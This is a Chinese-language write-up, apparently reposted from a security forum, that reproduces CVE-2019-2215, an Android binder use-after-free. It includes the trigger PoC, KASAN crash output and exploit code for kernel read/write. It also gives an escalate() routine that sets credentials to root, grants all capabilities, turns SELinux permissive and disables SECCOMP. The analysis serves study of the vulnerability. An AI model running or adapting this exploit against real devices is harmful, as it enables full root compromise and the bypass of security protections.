← 返回列表

CVE-2019-2215复现过程记录

聚合站 SecWiki技术 入库 2026-11-18T20:20:04

CVE-2019-2215复现过程记录

muirelle

·2021-03-16 20:50·52 分钟·15K·移动安全

CVE-2019-2215 信息收集 360安全响应-安卓本地提权漏洞预警 bugs.chromium project-zero email,project zero的公开邮件 Project Zero博客,对漏洞成因和利用细节有详细说明 linux各版本源码,用来找各变量类型间的定义比较方便,但其中对于结构体和各类定义都比较老,这部分代码参考其他来源比较好 复现环境 pixel 2

CVE-2019-2215

信息收集

复现环境

poc

编译poc

poc.c

来源:https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

只包含main的简短的poc用于触发漏洞,展示了内核存在的漏洞点。在未补丁的系统上运行有可能导致内核崩溃

poc2.c

来源:https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

利用该漏洞进行内核任意地址读写。该poc运行后的uname -a输出中可以看到EXPLOITED KERNEL

poc3.c

来源:https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

利用该漏洞进行本地提权

漏洞分析

漏洞描述

漏洞成因:使用了epoll的进程在调用BINDER_THREAD_EXIT结束binder线程时会释放binder_thread结构体,然后在程序退出或调用EPOLL_CTL_DEL时会遍历已释放结构体binder_thread中的wait链表进行链表删除操作。
问题在于,当程序退出或调用epoll的清理操作时,此时访问的wait链表位于已释放的binder_thread结构体中,uaf产生。如果在binder_thread释放后手动申请内存占位,那么在程序访问到wait链表时就会在手动申请的内存中操作,从而泄露信息。利用这些信息可以进一步达到内核任意地址读写甚至提权等操作。

结构体定义和uaf过程

binder_thread结构体,是导致uaf的关键结构体:

//https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047/drivers/android/binder.c#615
struct binder_thread {
struct binder_proc *proc;
struct rb_node rb_node;
struct list_head waiting_thread_node;
int pid;
int looper; /* only modified by this thread */
bool looper_need_return; /* can be written by other thread */
struct binder_transaction *transaction_stack;
struct list_head todo;
bool process_todo;
struct binder_error return_error;
struct binder_error reply_error;
//uaf point (offset 0xA0)
wait_queue_head_t wait;
struct binder_stats stats;
atomic_t tmp_ref;
bool is_dead;
//root point (offset 0x190)
struct task_struct *task;
};

poc.c的代码,触发漏洞的过程:

//poc.c

include \

include \

include \

include \

define BINDER_THREAD_EXIT 0x40046208ul

int main()
{
int fd, epfd;
struct epoll_event event = { .events = EPOLLIN };
fd = open("/dev/binder0", O_RDONLY);
epfd = epoll_create(1000);
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
ioctl(fd, BINDER_THREAD_EXIT, NULL);
}

KASAN的crash输出(部分省略):

//https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414028
[  464.504637] c0   3033 ==================================================================
[  464.504747] c0   3033 BUG: KASAN: use-after-free in remove_wait_queue+0x48/0x90
[  464.511836] c0   3033 Write of size 8 at addr 0000000000000000 by task new.out/3033
[  464.518893] c0   3033
[  464.526548] c0   3033 CPU: 0 PID: 3033 Comm: new.out Tainted: G         C      4.4.177-ga9e0ec5cb774 #1
[  464.529044] c0   3033 Hardware name: Qualcomm Technologies, Inc. MSM8998 v2.1 (DT)
[  464.538334] c0   3033 Call trace:
[  464.545928] c0   3033 [<ffffff900808f0e8>] dump_backtrace+0x0/0x34c
[  464.549328] c0   3033 [<ffffff900808f574>] show_stack+0x1c/0x24
[  464.555411] c0   3033 [<ffffff900858bcc8>] dump_stack+0xb8/0xe8
[  464.561319] c0   3033 [<ffffff90082b1ecc>] print_address_description+0x94/0x334
[  464.567219] c0   3033 [<ffffff90082b23f0>] kasan_report+0x1f8/0x340
[  464.574501] c0   3033 [<ffffff90082b0740>] __asan_store8+0x74/0x90
[  464.580753] c0   3033 [<ffffff9008139fc0>] remove_wait_queue+0x48/0x90
[  464.587125] c0   3033 [<ffffff9008336874>] ep_unregister_pollwait.isra.8+0xa8/0xec
[  464.593617] c0   3033 [<ffffff9008337744>] ep_free+0x74/0x11c
[  464.601149] c0   3033 [<ffffff9008337820>] ep_eventpoll_release+0x34/0x48
[  464.606988] c0   3033 [<ffffff90082c589c>] __fput+0x10c/0x32c
[  464.613724] c0   3033 [<ffffff90082c5b38>] ____fput+0x18/0x20
[  464.619463] c0   3033 [<ffffff90080eefdc>] task_work_run+0xd0/0x128
[  464.625193] c0   3033 [<ffffff90080bd890>] do_exit+0x3e4/0x1198
[  464.631260] c0   3033 [<ffffff90080c0ff8>] do_group_exit+0x7c/0x128
[  464.637167] c0   3033 [<ffffff90080c10c4>] __wake_up_parent+0x0/0x44
[  464.643421] c0   3033 [<ffffff90080842b0>] el0_svc_naked+0x24/0x28
[  464.649944] c0   3033
[  464.655899] c0   3033 Allocated by task 3033:
[  464.658257]  [<ffffff900808e5a4>] save_stack_trace_tsk+0x0/0x204
[  464.663899]  [<ffffff900808e7c8>] save_stack_trace+0x20/0x28
[  464.669882]  [<ffffff90082b0b14>] kasan_kmalloc.part.5+0x50/0x124
[  464.675528]  [<ffffff90082b0e38>] kasan_kmalloc+0xc4/0xe4
[  464.681597]  [<ffffff90082ac8a4>] kmem_cache_alloc_trace+0x12c/0x240
[  464.686992]  [<ffffff90094093c0>] binder_get_thread+0xdc/0x384
[  464.693319]  [<ffffff900940969c>] binder_poll+0x34/0x1bc
[  464.699127]  [<ffffff900833839c>] SyS_epoll_ctl+0x704/0xf84
[  464.704423]  [<ffffff90080842b0>] el0_svc_naked+0x24/0x28
[  464.709971] c0   3033
[  464.714124] c0   3033 Freed by task 3033:
[  464.716396]  [<ffffff900808e5a4>] save_stack_trace_tsk+0x0/0x204
[  464.721699]  [<ffffff900808e7c8>] save_stack_trace+0x20/0x28
[  464.727678]  [<ffffff90082b16a4>] kasan_slab_free+0xb0/0x1c0
[  464.733322]  [<ffffff90082ae214>] kfree+0x8c/0x2b4
[  464.738952]  [<ffffff900940ac00>] binder_thread_dec_tmpref+0x15c/0x1c0
[  464.743750]  [<ffffff900940d590>] binder_thread_release+0x284/0x2e0
[  464.750253]  [<ffffff90094149e0>] binder_ioctl+0x6f4/0x3664
[  464.756498]  [<ffffff90082e1364>] do_vfs_ioctl+0x7f0/0xd58
[  464.762052]  [<ffffff90082e1968>] SyS_ioctl+0x9c/0xc0
[  464.767513]  [<ffffff90080842b0>] el0_svc_naked+0x24/0x28
------------------------------ ... ... -----------------------------------
[  465.201706] c0   3033 Call trace:
------------------------------ ... ... -----------------------------------
[  465.298084] c0   3033 [<ffffff90082b1ddc>] kasan_end_report+0x38/0x3c
[  465.306712] c0   3033 [<ffffff90082b22e4>] kasan_report+0xec/0x340
[  465.313308] c0   3033 [<ffffff90082b0740>] __asan_store8+0x74/0x90
[  465.319390] c0   3033 [<ffffff9008139fc0>] remove_wait_queue+0x48/0x90
[  465.325581] c0   3033 [<ffffff9008336874>] ep_unregister_pollwait.isra.8+0xa8/0xec
[  465.332075] c0   3033 [<ffffff9008337744>] ep_free+0x74/0x11c
[  465.339607] c0   3033 [<ffffff9008337820>] ep_eventpoll_release+0x34/0x48
[  465.345437] c0   3033 [<ffffff90082c589c>] __fput+0x10c/0x32c
[  465.352183] c0   3033 [<ffffff90082c5b38>] ____fput+0x18/0x20
[  465.357920] c0   3033 [<ffffff90080eefdc>] task_work_run+0xd0/0x128
[  465.363643] c0   3033 [<ffffff90080bd890>] do_exit+0x3e4/0x1198
[  465.369711] c0   3033 [<ffffff90080c0ff8>] do_group_exit+0x7c/0x128
[  465.375617] c0   3033 [<ffffff90080c10c4>] __wake_up_parent+0x0/0x44
[  465.381882] c0   3033 [<ffffff90080842b0>] el0_svc_naked+0x24/0x28
[  465.388494] c0   3033 Code: f9400261 f00124e0 91000000 945d2daa (d4210000)
[  465.394428] c0   3033 ---[ end trace 3129689a85316455 ]---

尝试根据kasan的输出寻找引发内核崩溃的一系列调用:

漏洞利用——任意地址写

main

int epfd;
void *dummy_page_4g_aligned;
unsigned long current_ptr;
int binder_fd;
int kernel_rw_pipe[2];
int main(void) {
printf("Starting POC\n");
//pin_to(0);
dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (dummy_page_4g_aligned != (void*)0x100000000UL)
err(1, "mmap 4g aligned");
if (pipe(kernel_rw_pipe)) err(1, "kernel_rw_pipe");
binder_fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
leak_task_struct();
clobber_addr_limit();
setbuf(stdout, NULL);
printf("should have stable kernel R/W now\n");
......
}

主要关注点在leak_task_struct和clobber_addr_limit这两个函数,逐个分析

泄露task_struct pointer

为了利用uaf,需要先用writev重新申请到binder_thread释放的空间,通过EPOLL_CTL_DEL调用remove_wait_queue将wait的地址泄露到之前申请的内存中。由于task_struct和wait都位于binder_thread中,所以计算偏移后就能得到task_struct的指针

// size of struct binder_thread : 408Bytes = 0x198

define BINDER_THREAD_SZ 0x190

// use struct iovec to refill the freed binder_thread
// size of struct iovec is 16Bytes (64bit system)

define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25

// offset of wait_queue in binder_thread

define WAITQUEUE_OFFSET 0xA0

// finger out offset of wait_queue in iovec array

define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10

void leak_task_struct(void)
{
struct epoll_event event = { .events = EPOLLIN };
if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");
struct iovec iovec_array[IOVEC_ARRAY_SZ];
memset(iovec_array, 0, sizeof(iovec_array));
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;
int b;
int pipefd[2];
if (pipe(pipefd)) err(1, "pipe");
if (fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000) err(1, "pipe size");
static char page_buffer[0x1000];
//if (write(pipefd[1], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "fill pipe");
pid_t fork_ret = fork();
if (fork_ret == -1) err(1, "fork");
if (fork_ret == 0){
/* Child process */
prctl(PR_SET_PDEATHSIG, SIGKILL);
sleep(2);
printf("CHILD: Doing EPOLL_CTL_DEL.\n");
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
printf("CHILD: Finished EPOLL_CTL_DEL.\n");
// first page: dummy data
if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
close(pipefd[1]);
printf("CHILD: Finished write to FIFO.\n");
exit(0);
}
//printf("PARENT: Calling READV\n");
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
printf("writev() returns 0x%x\n", (unsigned int)b);
// second page: leaked data
if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
//hexdump_memory((unsigned char *)page_buffer, sizeof(page_buffer));
printf("PARENT: Finished calling READV\n");
int status;
if (wait(&status) != fork_ret) err(1, "wait");
current_ptr = *(unsigned long *)(page_buffer + 0xe8);
printf("current_ptr == 0x%lx\n", current_ptr);
}

binder_thread struct iovec_array
0x00: ... 0x00: iovec_array[0].iov_len
0x08: ... 0x08: iovec_array[0].iov_base
... ...
... ...
0xA0: wait.lock 0xA0: iovec_array[10].iov_base (dummy_page_4g_aligned)
0xA8: wait.task_list.next 0xA8: iovec_array[10].iov_len (0x1000)
0xB0: wait.task_list.prev 0xB0: iovec_array[11].iov_base (0xDEADBEEF)
0xB8: ... 0xB8: iovec_array[11].iov_len (0x1000)
... ...
... ...

泄露过程:

覆盖addr_limit

直接开始分析:

void clobber_addr_limit(void)
{
struct epoll_event event = { .events = EPOLLIN };
if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");
struct iovec iovec_array[IOVEC_ARRAY_SZ];
memset(iovec_array, 0, sizeof(iovec_array));
unsigned long second_write_chunk[] = {
1, /* iov_len */
0xdeadbeef, /* iov_base (already used) */
0x8 + 2 * 0x10, /* iov_len (already used) */
current_ptr + 0x8, /* next iov_base (addr_limit) */
8, /* next iov_len (sizeof(addr_limit)) */
0xfffffffffffffffe /* value to write */
};
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; /* wq->task_list->next */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */
int socks[2];
if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) err(1, "socketpair");
if (write(socks[1], "X", 1) != 1) err(1, "write socket dummy byte");
pid_t fork_ret = fork();
if (fork_ret == -1) err(1, "fork");
if (fork_ret == 0){
/* Child process */
prctl(PR_SET_PDEATHSIG, SIGKILL);
sleep(2);
printf("CHILD: Doing EPOLL_CTL_DEL.\n");
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
printf("CHILD: Finished EPOLL_CTL_DEL.\n");
if (write(socks[1], second_write_chunk, sizeof(second_write_chunk)) != sizeof(second_write_chunk))
err(1, "write second chunk to socket");
exit(0);
}
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
struct msghdr msg = {
.msg_iov = iovec_array,
.msg_iovlen = IOVEC_ARRAY_SZ
};
printf("PARENT: Doing recvmsg.\n");
int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL);
printf("PARENT recvmsg() returns %d, expected %lu\n", recvmsg_result,
(unsigned long)(iovec_array[IOVEC_INDX_FOR_WQ].iov_len +
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len +
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len));
}

覆盖过程:

修改系统属性

修改内核内存中的数据首先要得到内核基址和内核符号信息,后者用来计算偏移。获取内核符号信息可以通过下载googlesource中的官方镜像然后用工具提取,也可以用已root的同型号同内核版本手机dump出内核信息来获取。以下采用的是通过官方镜像提取的办法。

漏洞利用——提权

poc3.c中,escalate函数利用之前获得的内核读写权限进行提权。为了得到full root即完整root权限,需要绕过linux中多个安全机制(这里仅提出所绕过安全机制的类型,并不对机制做详细解释),不过有了内核读写权限后绕过也不是特别麻烦。权部分代码(其中DEBUG_RW用于打印额外信息帮助理解):

void escalate()
{
......
uid_t uid = getuid();
unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred);
// offset 0x78 is pointer to void * security
unsigned long current_cred_security = kernel_read_ulong(my_cred+0x78);
printf("current->cred == 0x%lx\n", my_cred);
printf("Starting as uid %u\n", uid);
printf("Escalating...\n");
// change IDs to root (there are eight)
for (int i = 0; i \< 8; i++)
kernel_write_uint(my_cred+4 + i*4, 0);
if (getuid() != 0) {
printf("Something went wrong changing our UID to root!\n");
exit(1);
}
printf("UIDs changed to root!\n");
// reset securebits
kernel_write_uint(my_cred+0x24, 0);
// change capabilities to everything (perm, effective, bounding)
for (int i = 0; i \< 3; i++)
kernel_write_ulong(my_cred+0x30 + i*8, 0x3fffffffffUL);
printf("Capabilities set to ALL\n");
// Grant: was checking for this earlier, but it's not set, so I moved on
// printf("PR_GET_NO_NEW_PRIVS %d\n", prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0));
unsigned int enforcing = kernel_read_uint(kernel_base + SYMBOL__selinux_enforcing);
printf("SELinux status = %u\n", enforcing);
if (enforcing) {
printf("Setting SELinux to permissive\n");
kernel_write_uint(kernel_base + SYMBOL__selinux_enforcing, 0);
} else {
printf("SELinux is already in permissive mode\n");
}
// Grant: We want to be as powerful as init, which includes mounting in the global namespace
printf("Re-joining the init mount namespace...\n");
int fd = open("/proc/1/ns/mnt", O_RDONLY);
if (fd \< 0) {
perror("open");
exit(1);
}
if (setns(fd, CLONE_NEWNS) \< 0) {
perror("setns");
exit(1);
}
printf("Re-joining the init net namespace...\n");
fd = open("/proc/1/ns/net", O_RDONLY);
if (fd \< 0) {
perror("open");
exit(1);
}
if (setns(fd, CLONE_NEWNET) \< 0) {
perror("setns");
exit(1);
}
// Grant: SECCOMP isn't enabled when running the poc from ADB, only from app contexts
if (prctl(PR_GET_SECCOMP) != 0) {
printf("Disabling SECCOMP\n");
// Grant: we need to clear TIF_SECCOMP from task first, otherwise, kernel WARN
// clear the TIF_SECCOMP flag and everything else :P (feel free to modify this to just clear the single flag)
// arch/arm64/include/asm/thread_info.h:#define TIF_SECCOMP 11
kernel_write_ulong(current_ptr + OFFSET__task_struct__thread_info__flags, 0);
kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa8, 0);
kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa0, 0);
if (prctl(PR_GET_SECCOMP) != 0) {
printf("Failed to disable SECCOMP!\n");
exit(1);
} else {
printf("SECCOMP disabled!\n");
}
} else {
printf("SECCOMP is already disabled!\n");
}
// Grant: At this point, we are free from our jail (if all went well)
}

DAC

Discretionary Access Control——自由访问控制

获取内核读写权限的过程中我们得到了task_struct的指针,而task_struct是linux内核中被称为进程描述符的结构体,它包含了一个进程中的各种信息,其中的成员变量cred是和该进程权限有关的结构体,定义如下:

struct cred {
atomic_t usage;

ifdef CONFIG_DEBUG_CREDENTIALS

atomic\_t    subscribers;    /\* number of processes subscribed \*/
void        \*put\_addr;
unsigned    magic;

define CRED_MAGIC 0x43736564

define CRED_MAGIC_DEAD 0x44656144

endif

kuid\_t      uid;        /\* real UID of the task \*/
kgid\_t      gid;        /\* real GID of the task \*/
kuid\_t      suid;       /\* saved UID of the task \*/
kgid\_t      sgid;       /\* saved GID of the task \*/
kuid\_t      euid;       /\* effective UID of the task \*/
kgid\_t      egid;       /\* effective GID of the task \*/
kuid\_t      fsuid;      /\* UID for VFS ops \*/
kgid\_t      fsgid;      /\* GID for VFS ops \*/
unsigned    securebits; /\* SUID-less security management \*/
kernel\_cap\_t    cap\_inheritable; /\* caps our children can inherit \*/
kernel\_cap\_t    cap\_permitted;  /\* caps we're permitted \*/
kernel\_cap\_t    cap\_effective;  /\* caps we can actually use \*/
kernel\_cap\_t    cap\_bset;   /\* capability bounding set \*/
kernel\_cap\_t    cap\_ambient;    /\* Ambient capability set \*/

ifdef CONFIG_KEYS

unsigned char   jit\_keyring;    /\* default keyring to attach requested
                 \* keys to \*/
struct key \_\_rcu \*session\_keyring; /\* keyring inherited over fork \*/
struct key  \*process\_keyring; /\* keyring private to this process \*/
struct key  \*thread\_keyring; /\* keyring private to this thread \*/
struct key  \*request\_key\_auth; /\* assumed request\_key authority \*/

endif

ifdef CONFIG_SECURITY

void        \*security;  /\* subjective LSM security \*/

endif

struct user\_struct \*user;   /\* real user ID subscription \*/
struct user\_namespace \*user\_ns; /\* user\_ns the caps and keyrings are relative to. \*/
struct group\_info \*group\_info;  /\* supplementary groups for euid/fsgid \*/
struct rcu\_head rcu;        /\* RCU deletion hook \*/

} __randomize_layout;

escalate中首先通过基址加偏移得到cred地址,然后将该结构体中的uid到fsgid修改为0,提权为root。虽然此时已经成为root,但是由于其他linux安全机制的存在,现在的root并没有获得完全的系统控制权,因此后面还修改了其他值。

CAP

Linux Capabilities——Linux能力

CAP对应在cred中kernel_cap_t类型的成员变量

MAC

Mandatory Access Control——强制访问控制

MAC在此处指SELinux。

这里原poc3作者最初想法是修改cred结构体中的void *security指向的task_security_struct结构体中的sid值,将进程从shell级别修改为更高特权级别,如sid=1。但在poc运行到此处时就卡住了无法继续运行,之后原作者采取了另一个方法也就是修改内核直接将SELinux的模式设置为permissive。

根据符号selinux_enforcing偏移获取地址,将该地址值写为0即可将SELinux状态改为permissive

SECCOMP

securecomputing mode——限制进程对系统调用的访问

SECCOMP对在adb用运行的poc无影响,但是会阻止捆绑在app上poc的系统调用。

在task_struct结构中找到:

struct seccomp {
int mode;
struct seccomp_filter *filter;
};

其中mode有两种模式:SECCOMP_MODE_STRICT和SECCOMP_MODE_FILTER,通常工作在filter模式下,当mode设置为0时,seccomp为禁用状态。

但是如果只将mode写为0不会禁用SECCOMP,原因是当SECCOMP运行时,在task_struct->thread_info.flags会被设置为TIF_SECCOMP,由于flag没有修改,内核认为SECCOMP处于开启状态,所以内核依旧会调用__secure_computing,进入该函数时会由于mode为0跳转到BUG(),原本的系统调用仍然不会执行。

int __secure_computing(const struct seccomp_data *sd)
{
int mode = current->seccomp.mode;
......
switch (mode) {
case SECCOMP_MODE_STRICT:
__secure_computing_strict(this_syscall); /* may call do_exit */
return 0;
case SECCOMP_MODE_FILTER:
return __seccomp_filter(this_syscall, sd, false);
default:
BUG();
}
}

因此mode和flags都需要覆盖。

至此我们获得了完整的root权限。

总结

自身分析漏洞的经验不多,由于漏洞的利用过程不算复杂加上几乎稳定触发所以自己还算完整地把整个流程跟了一遍,最后还要感谢ghost师傅的指点。

评论

相关阅读

Android抓包总结前言
这篇文章算是总结一下我之前抓包遇到的一些问题, 个人属性里带bug, 所以遇到的问题会比较多, 算是给大家提供一个抓包抓不到应该如何解决的思路。
工具介绍
Android中可用的抓包软件有fiddler、burpsuite、Charls、HttpCanary、Packet Capture、tcpdump、wireshark等等。tcpdump和wireshark可以解决部分不是使用HTTP/Se8s0n44K43

Bundle风水——Android序列化与反序列化不匹配漏洞详解作者: heeeeen@MS509Team
0x00 简介
最近几个月,Android安全公告公布了一系列系统框架层的高危提权漏洞,如下表所示。
CVE
Parcelable对象
公布时间
CVE-2017-0806
GateKeeperResponse
2017.10
CVE-2017-13286
OutputConfiguration
2018.04
CVE-2017-13heeeeen37K13

Android应用程序:绕过SSL pinningAndroid应用程序:绕过SSL pinning
原文链接:https://medium.com/@ved_wayal/hail-frida-the-universal-ssl-pinning-bypass-for-android-e9e1d733d29
大家好,在这篇文章中,我将解释如何使用frida框架绕过任何Android应用程序的SSL pinning,我会尝试更详细地解释其中的细节。落花四月32K21

frida 入门及几种 hook 思路前言
frida Xposed简单对比
学安卓hook入门的时候纠结于选用哪个平台,Xposed和frida看了看,都在脑子里云了一下觉得都好好用,于是干脆和教程反着来,看着师傅Xposed的文章后用frida复现一遍(实战链接也在文章中,就不发出来了),而且之前Peanuts师傅也发过Xposed的了.
其实两者差别还是比较大的,就拿工作方式来说,Xposed走的是开发那一套,,重新写组件后再pic4xiu31K12

使用Frida给apk脱壳并穿透加固Hook函数前言
今天拿到了新玩具JEB 3.17.1,想测试一下,顺便学习学习Android逆向,于是找了一个apk准备试试水,看看能不能搞到VIP。
初步分析
拖入jeb查看
嗯。。google一下
几维安全的壳,虚拟化很烦,也没什么好的脱壳工具,于是切换思路
从本质上来说,虚拟化就是自己实现了一套基本的cpu指令,通过自己的解释器解释给机器。因此想要在虚拟化之后仍然能让机器运行,当然还得还原代码给机kabeor28K04

原文链接:https://xz.aliyun.com/t/9273